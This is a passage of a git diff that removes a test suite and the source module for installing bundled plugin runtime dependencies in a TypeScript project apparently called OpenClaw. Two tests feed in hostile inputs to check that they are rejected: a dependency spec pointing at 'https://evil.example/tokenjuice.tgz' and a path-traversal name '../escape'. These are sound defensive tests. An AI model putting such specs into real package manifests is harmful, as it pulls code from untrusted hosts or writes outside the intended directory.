expect(result).toEqual({ - installedSpecs: ["tokenjuice@0.6.1"], - }); - expect(calls).toEqual([ - { - installRoot: resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }), - missingSpecs: ["tokenjuice@0.6.1"], - installSpecs: ["tokenjuice@0.6.1"], - }, - ]); - }); - - it("does not reuse mismatched package-root runtime deps for source-checkout bundled plugins", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "extensions", "tokenjuice"); - fs.mkdirSync(path.join(packageRoot, "node_modules", "tokenjuice"), { - recursive: true, - }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "0.6.1", - }, - }), - ); - fs.writeFileSync( - path.join(packageRoot, "node_modules", "tokenjuice", "package.json"), - JSON.stringify({ name: "tokenjuice", version: "0.6.0" }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "tokenjuice", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["tokenjuice@0.6.1"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["tokenjuice@0.6.1"], - installSpecs: ["tokenjuice@0.6.1"], - }, - ]); - expect(installRoot).toContain(stageDir); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("installs runtime deps for the default memory slot bundled plugin", () => { - const packageRoot = makeTempDir(); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0" }, - }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - config: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "memory-core", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["chokidar@^5.0.0"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["chokidar@^5.0.0"], - installSpecs: ["chokidar@^5.0.0"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("trusts package-manager materialized mirrors when manifest and package version match", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.27", - dependencies: { ajv: "8.20.0" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["ajv"], - }, - }, - }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "browser", - deps: {}, - enabledByDefault: true, - }); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env }); - writeGeneratedRuntimeDepsManifest(installRoot, ["ajv@8.20.0"]); - const ajvRoot = path.join(installRoot, "node_modules", "ajv"); - fs.mkdirSync(ajvRoot, { recursive: true }); - fs.writeFileSync( - path.join(ajvRoot, "package.json"), - JSON.stringify({ name: "ajv", version: "8.20.0", main: "dist/ajv.js" }), - ); - fs.mkdirSync(path.join(ajvRoot, "dist"), { recursive: true }); - fs.writeFileSync(path.join(ajvRoot, "dist", "ajv.js"), "export {};\n"); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env, - pluginId: "browser", - pluginRoot, - installDeps: (params) => { - calls.push(params); - }, - }); - - expect(result.installedSpecs).toEqual([]); - expect(calls).toEqual([]); - }); - - it("mirrors sqlite-vec into the packaged default memory runtime deps", () => { - const packageRoot = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.27", - dependencies: { - "sqlite-vec": "0.1.9", - }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["sqlite-vec"], - }, - }, - }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0", typebox: "1.1.34" }, - }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - config: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "memory-core", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["chokidar@^5.0.0", "sqlite-vec@0.1.9", "typebox@1.1.34"], - }); - expect(calls[0]?.installSpecs).toEqual([ - "chokidar@^5.0.0", - "sqlite-vec@0.1.9", - "typebox@1.1.34", - ]); - }); - - it("installs local memory embedding runtime deps only when local memory search is configured", () => { - const packageRoot = makeTempDir(); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0", typebox: "1.1.34" }, - runtimeDependencies: { - localMemoryEmbedding: ["node-llama-cpp@3.18.1"], - }, - }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - config: { - agents: { - defaults: { - memorySearch: { provider: "local" }, - }, - }, - }, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "memory-core", - pluginRoot, - }); - - expect(result.installedSpecs).toEqual([ - "chokidar@^5.0.0", - "node-llama-cpp@3.18.1", - "typebox@1.1.34", - ]); - expect(calls[0]?.installSpecs).toEqual([ - "chokidar@^5.0.0", - "node-llama-cpp@3.18.1", - "typebox@1.1.34", - ]); - }); - - it("does not install local memory embedding runtime deps for remote memory search", () => { - const packageRoot = makeTempDir(); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0", typebox: "1.1.34" }, - runtimeDependencies: { - localMemoryEmbedding: ["node-llama-cpp@3.18.1"], - }, - }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - config: { - agents: { - defaults: { - memorySearch: { provider: "openai" }, - }, - }, - }, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "memory-core", - pluginRoot, - }); - - expect(result.installedSpecs).toEqual(["chokidar@^5.0.0", "typebox@1.1.34"]); - expect(calls[0]?.installSpecs).toEqual(["chokidar@^5.0.0", "typebox@1.1.34"]); - }); - - it("repairs external staged deps even when packaged plugin-local deps are present", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "discord"); - fs.mkdirSync(path.join(pluginRoot, "node_modules", "@discordjs", "voice"), { - recursive: true, - }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@discordjs/voice": "0.19.2", - }, - }), - ); - fs.writeFileSync( - path.join(pluginRoot, "node_modules", "@discordjs", "voice", "package.json"), - JSON.stringify({ name: "@discordjs/voice", version: "0.19.2" }), - ); - - const calls: BundledRuntimeDepsInstallParams[] = []; - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "@discordjs", "voice"), { - recursive: true, - }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "@discordjs", "voice", "package.json"), - JSON.stringify({ name: "@discordjs/voice", version: "0.19.2" }), - ); - }, - pluginId: "discord", - pluginRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(result).toEqual({ - installedSpecs: ["@discordjs/voice@0.19.2"], - }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["@discordjs/voice@0.19.2"], - installSpecs: ["@discordjs/voice@0.19.2"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("does not trust runtime deps that only resolve from the package root", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "openai"); - fs.mkdirSync(path.join(packageRoot, "node_modules", "@mariozechner", "pi-ai"), { - recursive: true, - }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "@mariozechner/pi-ai": "0.68.1", - }, - }), - ); - fs.writeFileSync( - path.join(packageRoot, "node_modules", "@mariozechner", "pi-ai", "package.json"), - JSON.stringify({ name: "@mariozechner/pi-ai", version: "0.68.1" }), - ); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "openai", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["@mariozechner/pi-ai@0.68.1"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["@mariozechner/pi-ai@0.68.1"], - installSpecs: ["@mariozechner/pi-ai@0.68.1"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("installs deps that are only present in the package root", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "codex"); - fs.mkdirSync(path.join(packageRoot, "node_modules", "ws"), { recursive: true }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - ws: "^8.20.0", - zod: "^4.3.6", - }, - }), - ); - fs.writeFileSync( - path.join(packageRoot, "node_modules", "ws", "package.json"), - JSON.stringify({ name: "ws", version: "8.20.0" }), - ); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "codex", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["ws@^8.20.0", "zod@^4.3.6"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["ws@^8.20.0", "zod@^4.3.6"], - installSpecs: ["ws@^8.20.0", "zod@^4.3.6"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("does not treat sibling extension runtime deps as satisfying a plugin", () => { - const packageRoot = makeTempDir(); - const extensionsRoot = path.join(packageRoot, "dist", "extensions"); - const pluginRoot = path.join(extensionsRoot, "codex"); - fs.mkdirSync(path.join(extensionsRoot, "discord", "node_modules", "zod"), { - recursive: true, - }); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - zod: "^4.3.6", - }, - }), - ); - fs.writeFileSync( - path.join(extensionsRoot, "discord", "node_modules", "zod", "package.json"), - JSON.stringify({ name: "zod", version: "4.3.6" }), - ); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - calls.push(params); - }, - pluginId: "codex", - pluginRoot, - }); - - expect(result).toEqual({ - installedSpecs: ["zod@^4.3.6"], - }); - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { env: {} }); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["zod@^4.3.6"], - installSpecs: ["zod@^4.3.6"], - }, - ]); - expect(installRoot).not.toBe(pluginRoot); - }); - - it("rejects unsupported remote runtime dependency specs", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "tokenjuice"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - tokenjuice: "https://evil.example/tokenjuice.tgz", - }, - }), - ); - - expect(() => - ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: () => { - throw new Error("should not attempt install"); - }, - pluginId: "tokenjuice", - pluginRoot, - }), - ).toThrow("Unsupported bundled runtime dependency spec for tokenjuice"); - }); - - it("rejects invalid runtime dependency names before resolving sentinels", () => { - const packageRoot = makeTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "tokenjuice"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - "../escape": "0.6.1", - }, - }), - ); - - expect(() => - ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: () => { - throw new Error("should not attempt install"); - }, - pluginId: "tokenjuice", - pluginRoot, - }), - ).toThrow("Invalid bundled runtime dependency name"); - }); - - it("reinstalls source-checkout dist deps after rebuilds remove node_modules", () => { - const packageRoot = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "extensions"), { recursive: true }); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "codex"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - zod: "^4.3.6", - }, - }), - ); - const installCalls: BundledRuntimeDepsInstallParams[] = []; - - const first = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - installCalls.push(params); - fs.mkdirSync(path.join(params.installRoot, "node_modules", "zod"), { recursive: true }); - fs.writeFileSync( - path.join(params.installRoot, "node_modules", "zod", "package.json"), - JSON.stringify({ name: "zod", version: "4.3.6" }), - ); - }, - pluginId: "codex", - pluginRoot, - }); - - fs.rmSync(path.join(pluginRoot, "node_modules"), { recursive: true, force: true }); - - const second = ensureBundledPluginRuntimeDeps({ - env: {}, - installDeps: (params) => { - installCalls.push(params); - writeInstalledPackage(params.installRoot, "zod", "4.3.6"); - }, - pluginId: "codex", - pluginRoot, - }); - - expect(first).toEqual({ - installedSpecs: ["zod@^4.3.6"], - }); - expect(second).toEqual({ - installedSpecs: ["zod@^4.3.6"], - }); - expect(installCalls).toHaveLength(2); - expect(fs.existsSync(path.join(pluginRoot, "node_modules", "zod", "package.json"))).toBe(true); - }); - - it("keeps source-checkout dist external staging scoped to the loaded plugin", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.mkdirSync(path.join(packageRoot, ".git"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "src"), { recursive: true }); - fs.mkdirSync(path.join(packageRoot, "extensions"), { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.27", - dependencies: { ajv: "8.20.0" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["ajv"], - }, - }, - }), - ); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "codex"); - const siblingPluginRoot = path.join(packageRoot, "dist", "extensions", "discord"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.mkdirSync(siblingPluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - zod: "^4.3.6", - }, - }), - ); - fs.writeFileSync( - path.join(siblingPluginRoot, "package.json"), - JSON.stringify({ - dependencies: { - ws: "^8.20.0", - }, - }), - ); - const installCalls: BundledRuntimeDepsInstallParams[] = []; - - const result = ensureBundledPluginRuntimeDeps({ - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - installDeps: (params) => { - installCalls.push(params); - }, - pluginId: "codex", - pluginRoot, - }); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - expect(result).toEqual({ - installedSpecs: ["zod@^4.3.6"], - }); - expect(installCalls).toEqual([ - { - installRoot, - missingSpecs: ["zod@^4.3.6"], - installSpecs: ["zod@^4.3.6"], - }, - ]); - expect(installRoot).toContain(stageDir); - expect(installRoot).not.toBe(pluginRoot); - }); -}); diff --git a/src/plugins/bundled-runtime-deps.ts b/src/plugins/bundled-runtime-deps.ts deleted file mode 100644 index e8f564c4b86..00000000000 --- a/src/plugins/bundled-runtime-deps.ts +++ /dev/null @@ -1,662 +0,0 @@ -import fs from "node:fs"; -import { Module } from "node:module"; -import path from "node:path"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { beginBundledRuntimeDepsInstall } from "./bundled-runtime-deps-activity.js"; -import { - installBundledRuntimeDeps, - repairBundledRuntimeDepsInstallRootAsync, - type BundledRuntimeDepsInstallParams, -} from "./bundled-runtime-deps-install.js"; -import { readRuntimeDepsJsonObject } from "./bundled-runtime-deps-json.js"; -import { - BUNDLED_RUNTIME_DEPS_LOCK_DIR, - removeRuntimeDepsLockIfStale, - withBundledRuntimeDepsFilesystemLock, -} from "./bundled-runtime-deps-lock.js"; -import { - ensureNpmInstallExecutionManifest, - isRuntimeDepSatisfiedInAnyRoot, - isRuntimeDepsPlanMaterialized, - linkRuntimeDepsNodeModulesFromRoot, - removeLegacyRuntimeDepsManifest, - removeRuntimeDepsNodeModulesSymlink, -} from "./bundled-runtime-deps-materialization.js"; -import { - isSourceCheckoutRoot, - listSiblingExternalBundledRuntimeDepsRoots, - pruneSiblingExternalBundledRuntimeDepsRoots, - pruneUnknownBundledRuntimeDepsRoots, - resolveBundledRuntimeDependencyInstallRootPlan, - resolveBundledRuntimeDependencyPackageInstallRootPlan, - resolveBundledRuntimeDependencyPackageRoot, - type BundledRuntimeDepsInstallRootPlan, -} from "./bundled-runtime-deps-roots.js"; -import { - collectBundledPluginRuntimeDeps, - collectMirroredPackageRuntimeDeps, - createBundledRuntimeDepsPluginIdNormalizer, - isBundledPluginConfiguredForRuntimeDeps, - normalizePluginIdSet, - resolveBundledRuntimeDepsConfiguredModelOwnerPluginIds, - type BundledPluginRuntimeDepsManifestCache, - type RuntimeDepConflict, -} from "./bundled-runtime-deps-selection.js"; -import { - collectPackageRuntimeDeps, - normalizeInstallableRuntimeDepName, - parseInstallableRuntimeDep, - type RuntimeDepEntry, -} from "./bundled-runtime-deps-specs.js"; -import { - normalizePluginsConfigWithResolver, - type NormalizePluginId, -} from "./config-normalization-shared.js"; - -export type BundledRuntimeDepsEnsureResult = { - installedSpecs: string[]; -}; - -export class BundledRuntimeDepsMissingError extends Error { - readonly pluginId: string; - readonly installRoot: string; - readonly missingSpecs: string[]; - - constructor(params: { pluginId: string; installRoot: string; missingSpecs: string[] }) { - super( - `bundled runtime dependencies missing for ${params.pluginId}: ${params.missingSpecs.join(", ")}. Run "openclaw plugins deps --repair" to repair them.`, - ); - this.name = "BundledRuntimeDepsMissingError"; - this.pluginId = params.pluginId; - this.installRoot = params.installRoot; - this.missingSpecs = params.missingSpecs; - } -} - -export type BundledRuntimeDepsPlan = { - deps: RuntimeDepEntry[]; - missing: RuntimeDepEntry[]; - conflicts: RuntimeDepConflict[]; - installSpecs: string[]; - installRootPlan: BundledRuntimeDepsInstallRootPlan; -}; - -export type BundledRuntimeDepsPackagePlan = BundledRuntimeDepsPlan & { - packageRoot: string; - missingSpecs: string[]; -}; - -export type BundledRuntimeDepsPackagePlanParams = { - packageRoot: string; - config?: OpenClawConfig; - pluginIds?: readonly string[]; - exactPluginIds?: readonly string[]; - includeConfiguredChannels?: boolean; - includeEnabledByDefaultPlugins?: boolean; - env?: NodeJS.ProcessEnv; -}; - -export type RepairBundledRuntimeDepsPackagePlanResult = { - plan: BundledRuntimeDepsPackagePlan; - repairedSpecs: string[]; - reusedSpecs?: string[]; - reusedFromRoot?: string; -}; - -// Packaged bundled plugins (Docker image, npm global install) keep their -// `package.json` next to their entry point; running `npm install ` with -// `cwd: pluginRoot` would make npm resolve the plugin's own `workspace:*` -// dependencies and fail with `EUNSUPPORTEDPROTOCOL`. To avoid that, stage the -// install inside this sub-directory and move the produced `node_modules/` back -// to the plugin root. -const PLUGIN_ROOT_INSTALL_STAGE_DIR = ".openclaw-install-stage"; - -const registeredBundledRuntimeDepNodePaths = new Set(); - -function createBundledRuntimeDepsEnsureResult( - installedSpecs: string[], -): BundledRuntimeDepsEnsureResult { - return { installedSpecs }; -} - -function withBundledRuntimeDepsInstallRootLock(installRoot: string, run: () => T): T { - return withBundledRuntimeDepsFilesystemLock(installRoot, BUNDLED_RUNTIME_DEPS_LOCK_DIR, run); -} - -function mergeRuntimeDepEntries(deps: readonly RuntimeDepEntry[]): RuntimeDepEntry[] { - const bySpec = new Map(); - for (const dep of deps) { - const spec = `${dep.name}@${dep.version}`; - const existing = bySpec.get(spec); - if (!existing) { - bySpec.set(spec, { ...dep, pluginIds: [...dep.pluginIds] }); - continue; - } - existing.pluginIds = [...new Set([...existing.pluginIds, ...dep.pluginIds])].toSorted( - (left, right) => left.localeCompare(right), - ); - } - return [...bySpec.values()].toSorted((left, right) => { - const nameOrder = left.name.localeCompare(right.name); - return nameOrder === 0 ? left.version.localeCompare(right.version) : nameOrder; - }); -} - -export function registerBundledRuntimeDependencyNodePath(rootDir: string): void { - const nodeModulesDir = path.join(rootDir, "node_modules"); - if (registeredBundledRuntimeDepNodePaths.has(nodeModulesDir) || !fs.existsSync(nodeModulesDir)) { - return; - } - const currentPaths = (process.env.NODE_PATH ?? "") - .split(path.delimiter) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0); - process.env.NODE_PATH = [ - nodeModulesDir, - ...currentPaths.filter((entry) => entry !== nodeModulesDir), - ].join(path.delimiter); - (Module as unknown as { _initPaths?: () => void })._initPaths?.(); - registeredBundledRuntimeDepNodePaths.add(nodeModulesDir); -} - -export function clearBundledRuntimeDependencyNodePaths(): void { - if (registeredBundledRuntimeDepNodePaths.size === 0) { - return; - } - const retainedPaths = (process.env.NODE_PATH ?? "") - .split(path.delimiter) - .filter((entry) => entry.length > 0 && !registeredBundledRuntimeDepNodePaths.has(entry)); - if (retainedPaths.length > 0) { - process.env.NODE_PATH = retainedPaths.join(path.delimiter); - } else { - delete process.env.NODE_PATH; - } - registeredBundledRuntimeDepNodePaths.clear(); - (Module as unknown as { _initPaths?: () => void })._initPaths?.(); -} - -function createBundledRuntimeDepsInstallSpecs(params: { - deps: readonly { name: string; version: string }[]; -}): string[] { - return params.deps - .map((dep) => `${dep.name}@${dep.version}`) - .toSorted((left, right) => left.localeCompare(right)); -} - -function createBundledRuntimeDepsPlan(params: { - deps: readonly RuntimeDepEntry[]; - conflicts: readonly RuntimeDepConflict[]; - installRootPlan: BundledRuntimeDepsInstallRootPlan; -}): BundledRuntimeDepsPlan { - const deps = mergeRuntimeDepEntries(params.deps); - return { - deps, - missing: deps.filter( - (dep) => !isRuntimeDepSatisfiedInAnyRoot(dep, params.installRootPlan.searchRoots), - ), - conflicts: [...params.conflicts], - installSpecs: createBundledRuntimeDepsInstallSpecs({ deps }), - installRootPlan: params.installRootPlan, - }; -} - -function hasPreviousIncompleteInstall( - installRoot: string, - installSpecs: readonly string[], -): boolean { - return ( - fs.existsSync(path.join(installRoot, "node_modules")) && - !isRuntimeDepsPlanMaterialized(installRoot, installSpecs) - ); -} - -function findReusableBundledRuntimeDepsRoot(params: { - installRootPlan: BundledRuntimeDepsInstallRootPlan; - installSpecs: readonly string[]; - env: NodeJS.ProcessEnv; -}): string | null { - if (!params.installRootPlan.external || params.installSpecs.length === 0) { - return null; - } - for (const root of listSiblingExternalBundledRuntimeDepsRoots({ - installRoot: params.installRootPlan.installRoot, - env: params.env, - })) { - if ( - !hasActiveBundledRuntimeDepsInstallLock(root) && - hasConcreteBundledRuntimeDepsNodeModules(root) && - isRuntimeDepsPlanMaterialized(root, params.installSpecs) - ) { - return root; - } - } - return null; -} - -function hasActiveBundledRuntimeDepsInstallLock(root: string): boolean { - const lockDir = path.join(root, BUNDLED_RUNTIME_DEPS_LOCK_DIR); - return fs.existsSync(lockDir) && !removeRuntimeDepsLockIfStale(lockDir, Date.now()); -} - -function hasConcreteBundledRuntimeDepsNodeModules(root: string): boolean { - try { - const stat = fs.lstatSync(path.join(root, "node_modules")); - return stat.isDirectory() && !stat.isSymbolicLink(); - } catch { - return false; - } -} - -function arePackageLevelRuntimeDepsAlreadyMaterialized(params: { - installRoot: string; - packageRoot: string; - pluginDeps: readonly RuntimeDepEntry[]; -}): boolean { - const installSpecs = createBundledRuntimeDepsInstallSpecs({ - deps: [...params.pluginDeps, ...collectMirroredPackageRuntimeDeps(params.packageRoot)], - }); - return installSpecs.length > 0 && isRuntimeDepsPlanMaterialized(params.installRoot, installSpecs); -} - -function collectPackageLevelRuntimeDepsForPlugin(params: { - extensionsDir: string; - pluginId: string; - pluginDepEntries: readonly RuntimeDepEntry[]; - config?: OpenClawConfig; - manifestCache: BundledPluginRuntimeDepsManifestCache; - normalizePluginId?: NormalizePluginId; -}): { deps: readonly RuntimeDepEntry[]; conflicts: readonly RuntimeDepConflict[] } { - if (!params.config) { - return { deps: params.pluginDepEntries, conflicts: [] }; - } - return collectBundledPluginRuntimeDeps({ - extensionsDir: params.extensionsDir, - config: params.config, - pluginIds: new Set([params.pluginId]), - manifestCache: params.manifestCache, - ...(params.normalizePluginId ? { normalizePluginId: params.normalizePluginId } : {}), - }); -} - -type RuntimeDepsReuseResult = { status: "materialized" } | { status: "reused"; sourceRoot: string }; - -function tryReuseBundledRuntimeDepsRoot(params: { - installRootPlan: BundledRuntimeDepsInstallRootPlan; - installSpecs: readonly string[]; - env: NodeJS.ProcessEnv; - onProgress?: (message: string) => void; -}): RuntimeDepsReuseResult | null { - const installRoot = params.installRootPlan.installRoot; - if (isRuntimeDepsPlanMaterialized(installRoot, params.installSpecs)) { - removeLegacyRuntimeDepsManifest(installRoot); - return { status: "materialized" }; - } - const reusableRoot = findReusableBundledRuntimeDepsRoot(params); - if (!reusableRoot) { - return null; - } - const nodeModulesPath = path.join(installRoot, "node_modules"); - try { - fs.lstatSync(nodeModulesPath); - return null; - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== "ENOENT") { - throw error; - } - } - - ensureNpmInstallExecutionManifest(installRoot, params.installSpecs); - if ( - !linkRuntimeDepsNodeModulesFromRoot({ - sourceRoot: reusableRoot, - targetRoot: installRoot, - }) - ) { - return null; - } - if (!isRuntimeDepsPlanMaterialized(installRoot, params.installSpecs)) { - removeRuntimeDepsNodeModulesSymlink(installRoot); - return null; - } - params.onProgress?.(`Reusing bundled plugin runtime deps from ${reusableRoot}`); - return { status: "reused", sourceRoot: reusableRoot }; -} - -export function createBundledRuntimeDepsPackagePlan( - params: BundledRuntimeDepsPackagePlanParams, -): BundledRuntimeDepsPackagePlan { - const installRootPlan = resolveBundledRuntimeDependencyPackageInstallRootPlan( - params.packageRoot, - { - env: params.env, - }, - ); - const emptyPlan = () => { - const plan = createBundledRuntimeDepsPlan({ - deps: [], - conflicts: [], - installRootPlan, - }); - return { - ...plan, - packageRoot: params.packageRoot, - missingSpecs: [], - }; - }; - if (isSourceCheckoutRoot(params.packageRoot)) { - return emptyPlan(); - } - const extensionsDir = path.join(params.packageRoot, "dist", "extensions"); - if (!fs.existsSync(extensionsDir)) { - return emptyPlan(); - } - const manifestCache: BundledPluginRuntimeDepsManifestCache = new Map(); - const normalizePluginId = - params.config || params.pluginIds || params.exactPluginIds - ? createBundledRuntimeDepsPluginIdNormalizer({ - extensionsDir, - manifestCache, - }) - : undefined; - const exactPluginIds = normalizePluginIdSet(params.exactPluginIds, normalizePluginId); - const scopedPluginIds = normalizePluginIdSet(params.pluginIds, normalizePluginId); - const { deps, conflicts } = collectBundledPluginRuntimeDeps({ - extensionsDir, - ...(params.config ? { config: params.config } : {}), - ...(exactPluginIds ? { exactPluginIds } : {}), - ...(!exactPluginIds && scopedPluginIds ? { pluginIds: scopedPluginIds } : {}), - ...(!exactPluginIds && params.includeConfiguredChannels !== undefined - ? { includeConfiguredChannels: params.includeConfiguredChannels } - : {}), - ...(!exactPluginIds && params.includeEnabledByDefaultPlugins !== undefined - ? { includeEnabledByDefaultPlugins: params.includeEnabledByDefaultPlugins } - : {}), - manifestCache, - ...(normalizePluginId ? { normalizePluginId } : {}), - }); - const packageRuntimeDeps = collectMirroredPackageRuntimeDeps(params.packageRoot); - const plan = createBundledRuntimeDepsPlan({ - deps: [...deps, ...packageRuntimeDeps], - conflicts, - installRootPlan, - }); - const missing = hasPreviousIncompleteInstall(installRootPlan.installRoot, plan.installSpecs) - ? plan.deps - : plan.missing; - return { - ...plan, - missing, - packageRoot: params.packageRoot, - missingSpecs: createBundledRuntimeDepsInstallSpecs({ deps: missing }), - }; -} - -export async function repairBundledRuntimeDepsPackagePlanAsync(params: { - packageRoot: string; - config?: OpenClawConfig; - pluginIds?: readonly string[]; - exactPluginIds?: readonly string[]; - includeConfiguredChannels?: boolean; - includeEnabledByDefaultPlugins?: boolean; - env: NodeJS.ProcessEnv; - installDeps?: (params: BundledRuntimeDepsInstallParams) => Promise | void; - onProgress?: (message: string) => void; - warn?: (message: string) => void; -}): Promise { - pruneUnknownBundledRuntimeDepsRoots({ - env: params.env, - ...(params.warn ? { warn: params.warn } : {}), - }); - const plan = createBundledRuntimeDepsPackagePlan(params); - if (plan.missingSpecs.length === 0) { - pruneSiblingExternalBundledRuntimeDepsRoots({ - installRoot: plan.installRootPlan.installRoot, - ...(params.warn ? { warn: params.warn } : {}), - }); - return { plan, repairedSpecs: [] }; - } - const reuseResult = withBundledRuntimeDepsInstallRootLock(plan.installRootPlan.installRoot, () => - tryReuseBundledRuntimeDepsRoot({ - installRootPlan: plan.installRootPlan, - 